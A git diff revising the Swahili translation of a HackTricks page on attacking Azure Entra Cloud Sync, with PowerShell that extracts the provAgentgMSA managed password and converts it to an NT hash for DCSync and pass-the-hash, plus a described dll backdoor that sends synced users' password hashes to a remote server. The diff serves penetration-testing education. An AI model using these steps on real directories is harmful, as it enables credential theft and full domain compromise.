diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md index e65b3a09e..005cb412a 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md @@ -10,22 +10,22 @@ ### Principals Generated -Ili hii ifanye kazi, baadhi ya wakala huundwa katika Entra ID na kwenye saraka ya On-Premise: +Ili hii ifanye kazi, baadhi ya wakala huundwa katika Entra ID na kwenye directory ya On-Premise: - Katika Entra ID, mtumiaji `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) ameundwa na jukumu **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`). > [!WARNING] -> Jukumu hili lilikuwa na ruhusa nyingi za kipaumbele na linaweza kutumika [**kuinua ruhusa hata kwa msimamizi wa kimataifa**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Hata hivyo, Microsoft iliamua kuondoa ruhusa zote za jukumu hili na kupewa tu moja mpya **`microsoft.directory/onPremisesSynchronization/standard/read`** ambayo haimruhusu kufanya kitendo chochote cha kipaumbele (kama kubadilisha nenosiri au sifa za mtumiaji au kuongeza akidi mpya kwa SP). +> Jukumu hili lilikuwa na ruhusa nyingi za kipaumbele na linaweza kutumika [**kuinua ruhusa hata kwa msimamizi wa kimataifa**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Hata hivyo, Microsoft iliamua kuondoa ruhusa zote za jukumu hili na kupewa tu moja mpya **`microsoft.directory/onPremisesSynchronization/standard/read`** ambayo haikuruhusu kufanya kitendo chochote cha kipaumbele (kama kubadilisha nenosiri au sifa za mtumiaji au kuongeza akidi mpya kwa SP). - Katika Entra ID pia kundi **`AAD DC Administrators`** limeundwa bila wanachama au wamiliki. Kundi hili ni muhimu ikiwa [`Microsoft Entra Domain Services`](./az-domain-services.md) inatumika. -- Katika AD, ama Akaunti ya Huduma **`provAgentgMSA`** imeundwa na SamAcountName kama **`pGMSA_$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), au moja ya kawaida yenye [**ruhusa hizi zinahitajika**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Kawaida, ile ya kawaida inaundwa. +- Katika AD, ama Akaunti ya Huduma **`provAgentgMSA`** imeundwa na SamAcountName kama **`pGMSA_$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), au moja ya kawaida yenye [**ruhusa hizi zinahitajika**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Kawaida moja ya kawaida huundwa. > [!WARNING] -> Kati ya ruhusa nyingine, Akaunti ya Huduma **`provAgentgMSA`** ina ruhusa za DCSync, ikiruhusu **mtu yeyote anayekabiliwa nayo kuathiri saraka nzima**. Kwa maelezo zaidi kuhusu [DCSync angalia hii](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). +> Kati ya ruhusa nyingine, Akaunti ya Huduma **`provAgentgMSA`** ina ruhusa za DCSync, ikiruhusu **mtu yeyote anayepata udhibiti wake kuathiri directory nzima**. Kwa maelezo zaidi kuhusu [DCSync angalia hii](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). > [!NOTE] -> Kwa kawaida watumiaji wa vikundi vya kipaumbele vinavyojulikana kama Domain Admins wenye sifa **`adminCount` kuwa 1 hawasawazishwi** na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya vikundi vya kipaumbele bila sifa hii au ambao wamepewa ruhusa kubwa moja kwa moja **wanaweza kusawazishwa**. +> Kwa kawaida watumiaji wa vikundi vya kipaumbele vinavyojulikana kama Domain Admins wenye sifa **`adminCount` kuwa 1 hawasawazishwi** na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya vikundi vya kipaumbele bila sifa hii au ambao wamepewa ruhusa za juu moja kwa moja **wanaweza kusawazishwa**. ## Password Sychronization @@ -36,21 +36,21 @@ az-connect-sync.md {{#endref}} - **Kusawazisha hash ya nenosiri** kunaweza kuwezeshwa ili watumiaji waweze **kuingia katika Entra ID wakitumia nenosiri zao kutoka AD**. Zaidi ya hayo, kila wakati nenosiri linapobadilishwa katika AD, litasasishwa katika Entra ID. -- **Kurejesha nenosiri** pia kunaweza kuwezeshwa, ikiruhusu watumiaji kubadilisha nenosiri zao katika Entra ID kwa kusawazisha kiotomatiki nenosiri zao katika eneo la ndani. Lakini kulingana na [nyaraka za sasa](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), kwa hili inahitajika kutumia Wakala wa Connect, hivyo angalia sehemu ya [Az Connect Sync](./az-connect-sync.md) kwa maelezo zaidi. -- **Kurejesha vikundi**: Kipengele hiki kinaruhusu uanachama wa vikundi kutoka Entra ID kusawazishwa kurudi kwenye AD ya ndani. Hii inamaanisha kwamba ikiwa mtumiaji ameongezwa kwenye kundi katika Entra ID, pia wataongezwa kwenye kundi linalofanana katika AD. +- **Kurejesha nenosiri** pia kunaweza kuwezeshwa, ikiruhusu watumiaji kubadilisha nenosiri zao katika Entra ID kwa kusawazisha kiotomatiki nenosiri zao katika domain ya on-premise. Lakini kulingana na [nyaraka za sasa](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), kwa hili inahitajika kutumia Connect Agent, hivyo angalia sehemu ya [Az Connect Sync](./az-connect-sync.md) kwa maelezo zaidi. +- **Kurejesha vikundi**: Kipengele hiki kinaruhusu uanachama wa vikundi kutoka Entra ID kusawazishwa kurudi kwenye AD ya on-premises. Hii inamaanisha kwamba ikiwa mtumiaji ameongezwa kwenye kundi katika Entra ID, pia wataongezwa kwenye kundi linalofanana katika AD. ## Pivoting ### AD --> Entra ID -- Ikiwa watumiaji wa AD wanapaswa kusawazishwa kutoka AD hadi Entra ID, kuhamasisha kutoka AD hadi Entra ID ni rahisi, tu **kabili nenosiri la mtumiaji fulani au kubadilisha nenosiri la mtumiaji fulani au kuunda mtumiaji mpya na kusubiri hadi isawazishwe kwenye saraka ya Entra ID (kawaida ni dakika chache tu)**. +- Ikiwa watumiaji wa AD wanapaswa kusawazishwa kutoka AD hadi Entra ID, pivoting kutoka AD hadi Entra ID ni rahisi, tu **pata nenosiri la mtumiaji fulani au badilisha nenosiri la mtumiaji fulani au unda mtumiaji mpya na subiri hadi isawazishwe kwenye directory ya Entra ID (kawaida ni dakika chache tu)**. Hivyo unaweza kwa mfano -- Kabilisha akaunti ya **`provAgentgMSA`**, fanya shambulio la DCSync, vunja nenosiri la mtumiaji fulani na kisha litumie kuingia katika Entra ID. -- Tuunda mtumiaji mpya katika AD, subiri hadi isawazishwe katika Entra ID na kisha litumie kuingia katika Entra ID. +- Pata akaunti ya **`provAgentgMSA`**, fanya shambulio la DCSync, vunja nenosiri la mtumiaji fulani na kisha litumie kuingia katika Entra ID. +- Unda tu mtumiaji mpya katika AD, subiri hadi isawazishwe katika Entra ID na kisha litumie kuingia katika Entra ID. - Badilisha nenosiri la mtumiaji fulani katika AD, subiri hadi isawazishwe katika Entra ID na kisha litumie kuingia katika Entra ID. -Ili kukabili akidi za **`provAgentgMSA`**: +Ili kupata akidi za **`provAgentgMSA`**: ```powershell # Enumerate provAgentgMSA account Get-ADServiceAccount -Filter * -Server domain.local @@ -72,7 +72,7 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_$ -Properties msDS-Man $decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword ``` -Sasa unaweza kutumia hash ya gMSA kufanya shambulio la Pass-the-Hash dhidi ya Entra ID ukitumia akaunti ya `provAgentgMSA` na kudumisha uthibitisho ukiwa na uwezo wa kufanya shambulio za DCSync dhidi ya AD. +Sasa unaweza kutumia hash ya gMSA kufanya shambulio la Pass-the-Hash dhidi ya Entra ID ukitumia akaunti ya `provAgentgMSA` na kudumisha uthibitisho ukiwa na uwezo wa kufanya shambulio la DCSync dhidi ya AD. Kwa maelezo zaidi kuhusu jinsi ya kuathiri Active Directory angalia: @@ -81,13 +81,13 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i {{#endref}} > [!NOTE] -> Kumbuka kwamba hakuna njia yoyote ya kutoa majukumu ya Azure au EntraID kwa watumiaji waliounganishwa kulingana na sifa zake kwa mfano katika mipangilio ya Cloud Sync. Hata hivyo, ili kutoa ruhusa kiotomatiki kwa watumiaji waliounganishwa baadhi ya **makundi ya Entra ID kutoka AD** yanaweza kupewa ruhusa ili watumiaji waliounganishwa ndani ya makundi hayo pia wapate hizo au **makundi ya dynamic yanaweza kutumika**, hivyo kila wakati angalia sheria za dynamic na njia zinazoweza kutumika kuzitumia: +> Kumbuka kwamba hakuna njia yoyote ya kutoa majukumu ya Azure au EntraID kwa watumiaji waliounganishwa kulingana na sifa zake kwa mfano katika usanidi wa Cloud Sync. Hata hivyo, ili kutoa ruhusa kiotomatiki kwa watumiaji waliounganishwa baadhi ya **makundi ya Entra ID kutoka AD** yanaweza kupewa ruhusa ili watumiaji waliounganishwa ndani ya makundi hayo pia wapate hizo au **makundi ya kidinamik** yanaweza kutumika, hivyo kila wakati angalia sheria za kidinamik na njia zinazoweza kutumika kuzitumia: {{#ref}} -../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md +../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}} -Kuhusu uthibitisho [hii chapisho la blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) linaonyesha kwamba inawezekana kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy) kuingiza backdoor kwenye dll **`Microsoft.Online.Passwordsynchronisation.dll`** iliyoko katika **`C:\Program Files\Microsoft Azure AD Sync\Bin`** ambayo inatumika na wakala wa Cloud Sync kufanya usawazishaji wa nywila na kuifanya itoe hash za nywila za watumiaji wanaosawazishwa kwa seva ya mbali. Hash zinaundwa ndani ya darasa **`PasswordHashGenerator`** na chapisho la blog linaonyesha kuongeza baadhi ya msimbo ili darasa liwe kama (kumbuka `use System.Net` na matumizi ya `WebClient` kutoa hash za nywila): +Kuhusu uthibitisho [hii chapisho la blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) linaonyesha kwamba inawezekana kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy) kuingiza nyuma dll **`Microsoft.Online.Passwordsynchronisation.dll`** iliyoko katika **`C:\Program Files\Microsoft Azure AD Sync\Bin`** ambayo inatumika na wakala wa Cloud Sync kufanya usawazishaji wa nywila na kuifanya itoe hash za nywila za watumiaji wanaosawazishwa kwa seva ya mbali. Hash zinaundwa ndani ya darasa **`PasswordHashGenerator`** na chapisho la blog linaonyesha kuongeza baadhi ya msimbo ili darasa liwe kama (kumbuka `use System.Net` na matumizi ya `WebClient` kutoa hash za nywila): ```csharp using System; using System.Net; @@ -129,12 +129,12 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.C - Ikiwa **Password Writeback** imewezeshwa, unaweza kubadilisha nenosiri la watumiaji wengine kutoka Entra ID na ikiwa una ufikiaji wa mtandao wa AD, ungana kwa kutumia wao. Kwa maelezo zaidi angalia sehemu ya [Az Connect Sync](./az-connect-sync.md) kwa maelezo zaidi kwani uandishi wa nenosiri umewekwa kupitia wakala huo. -- Wakati huu, Cloud Sync pia inaruhusu **"Microsoft Entra ID to AD"**, lakini baada ya muda mrefu niligundua kuwa HAIWEZI kuunganisha watumiaji wa EntraID na AD na kwamba inaweza kuunganisha tu watumiaji kutoka EntraID ambao walikuwa wakiunganishwa na hash ya nenosiri na wanatoka kwenye kikoa kinachomilikiwa na msitu sawa na kikoa tunachounganisha kama unavyoweza kusoma katika [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits): +- Wakati huu, Cloud Sync pia inaruhusu **"Microsoft Entra ID to AD"**, lakini baada ya muda mrefu niligundua kuwa HAIWEZEKANI kusawazisha watumiaji wa EntraID hadi AD na kwamba inaweza kusawazisha tu watumiaji kutoka EntraID ambao walisawazishwa na hash ya nenosiri na wanatoka kwenye kikoa kinachomilikiwa na msitu sawa na kikoa tunachosawazisha kama unavyoweza kusoma katika [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits): -> - Makundi haya yanaweza kuwa na watumiaji waliounganishwa kwenye eneo la kazi na / au makundi ya usalama yaliyoundwa kwenye wingu. -> - Akaunti za watumiaji za eneo la kazi ambazo zimeunganishwa na ni wanachama wa kundi hili la usalama lililoundwa kwenye wingu, zinaweza kuwa kutoka kwenye kikoa sawa au kikoa tofauti, lakini zote lazima ziwe kutoka kwenye msitu mmoja. +> - Makundi haya yanaweza kuwa na watumiaji wa ndani waliosawazishwa na / au makundi ya usalama yaliyoundwa na wingu. +> - Akaunti za watumiaji wa ndani ambazo zimesawazishwa na ni wanachama wa kundi hili la usalama lililoundwa na wingu, zinaweza kuwa kutoka kwenye kikoa sawa au kikoa tofauti, lakini zote lazima ziwe kutoka msitu mmoja. -Hivyo, uso wa shambulio (na matumizi) wa huduma hii umepunguzwa sana kwani mshambuliaji anahitaji kuathiri AD ya awali ambapo watumiaji wanaundwa ili kuathiri mtumiaji katika kikoa kingine (na vyote vinapaswa kuwa katika msitu mmoja kwa wazi). +Hivyo, uso wa shambulio (na matumizi) wa huduma hii umepunguzwa sana kwani mshambuliaji atahitaji kuathiri AD ya awali ambapo watumiaji wanapaswa kusawazishwa ili kuathiri mtumiaji katika kikoa kingine (na vyote vinapaswa kuwa katika msitu mmoja kwa wazi). ### Enumeration ```bash